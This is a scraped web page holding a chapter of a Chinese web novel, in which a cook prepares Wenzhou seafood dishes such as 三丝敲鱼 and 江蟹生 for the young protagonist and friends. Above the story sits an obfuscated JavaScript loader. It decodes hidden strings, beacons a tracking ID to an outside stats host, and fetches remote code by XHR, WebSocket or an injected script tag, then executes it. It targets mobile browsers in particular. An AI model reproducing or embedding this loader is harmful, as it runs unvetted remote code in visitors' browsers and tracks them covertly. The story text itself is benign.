足迹
叶皓辰楚君瑶
登录
关灯
护眼
字体:

第683章 三丝敲鱼(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

听到温梅这话,卫珣果然并不生气,而是笑着点头,“没错,白叶对味道的把控是真的很好,他就只吃过一次,他就能够根据我的提示,做出了更加完善的更改了。”

卫珣说完,温梅倒是若有所思地看向了白叶。

吃了一碗鱼丸汤,卫珣就准备起身去做午饭了。

白叶还想帮忙,被卫珣笑着婉拒了,“我这点私房菜,可架不住你这样学啊!”

周围人瞬间善意地笑了起来。

中午的时候,卫珣做了一道三丝敲鱼。

这鱼是用新鲜黄鱼做的。

白叶恍然大悟。

他就说之前他曾经询问过师姐,说温州鱼丸黄鱼的最好吃,为什么卫珣买到了黄鱼,却用鮸鱼来做这一道鱼丸的。

原来,是黄鱼另有重用!

三丝敲鱼,就是明面上的意思,敲鱼是真的将鱼肉敲成薄片,鲜黄鱼去鱼头、尾、皮,切成针片,蘸上干淀粉,用木槌慢慢敲成薄鱼片,放在沸水里煮熟。烹调时加上鸡丝、火腿丝、香菇丝和烧熟的青菜心。

这菜色白汤鲜,和鱼丸相比又是另一种鱼肉展现出来的美味。

温州靠海,内又有河流,所以河鲜海鲜都很丰富。

这一桌子的菜肴也多是以海鲜为主。

除了三丝敲鱼之外,还有芙蓉蝤蛑。

这蝤蛑其实就是青蟹。

而芙蓉是指蛋。

各大菜系里都有关于芙蓉的菜肴,比如芙蓉鸡片,芙蓉蔬菜汤。

在这一道菜里,芙蓉只以蛋羹形式出现的。

说白了,这就是青蟹蒸蛋羹。

这两种,一种嫩,一种鲜,且都是蒸熟的,出锅之后不光是菜成为一体,就算是鲜味也融为一体。

这道菜吃的几个年轻人简直停不下来,因为太鲜了,而且嫩。

那蛋羹入口,大海的味道瞬间充斥口腔,让人想要停止咀嚼,静静体味这鲜味,可偏偏又忍不住。

才咀嚼上几下,那蛋羹就不知不觉地消失在唇齿之间了。

再挖上一勺雪白的蟹肉,跟蛋羹一起拌在饭上,简直是根本不知道饱。

还有一道虾子酱蒸肉也非常的好吃。.iQue.iz

五花肉软糯不油腻,虾子酱咸鲜,打开味蕾的同时,也让肉味更加别具风格。

白叶很喜欢这种,跟他们那边老扣肉的口感不一样,但大小伙子有几个不爱吃肉的。不光他爱吃,江小年和卫昭也都同样很爱吃。

白叶吃了几口,忍不住开口,“若是二哥在这里就好了,他肯定很喜欢这一道菜的。”

柳鸿作为聊城人,也是鲁省的一员,对于虾酱之类的食物,很有些天然的好感。

他春节后过来的时候,还给白老爹和姜兰带了很多礼物,其中就有干海参和虾酱的。

虽然和温州这边的虾子酱不知道是不是同样的做法,但都是一大类。

毕竟柳鸿带来的虾酱,他们还没打开。

温静茹点点头,“我也觉得是。”

此外还有一些硬菜,以卫珣的手艺,也不局限于温州这边的菜,也有本省的,甚至外省的,甚至还有卫珣自创的。

白叶几个人吃得赞不绝口的,都说好吃。

相比昨天的饭,今天买到的新鲜食材更多,更利于卫珣操作。

“其实我爸做江蟹生是一绝。你尝尝。”温静茹给白叶夹了一块到他面前的碟子里。

江蟹生是浙江省温州市的一道著名地方菜,属于浙菜系里的冷食。

春节的时候,这也是不可少的一道家常菜,各家做法可能稍有区别,但各花入各眼,肯定是都觉得自家做的最好吃的。

白叶尝了一口,这江蟹生是以梭子蟹为主,劈开之后,用生姜、胡椒等,配合糖、醋、酱油、黄酒等调料浸泡腌制,一般来说要一个小时左右就入味了。

卫珣用的是家里珍藏的花雕,花雕和酱油一比一的比例,这让这道菜酒香浓重。

吃的时候,还可以蘸着芥末吃,所以吃起来是又鲜又辛辣,十分的过瘾。

白叶以前只在系统的虚拟教室里,吃过鱼生之类的,但在现实之中,他只吃过自己做的河豚。

这一次的江蟹生是第二次。

开始他是没准备碰的,但吃了一块之后,却有点停不下来了。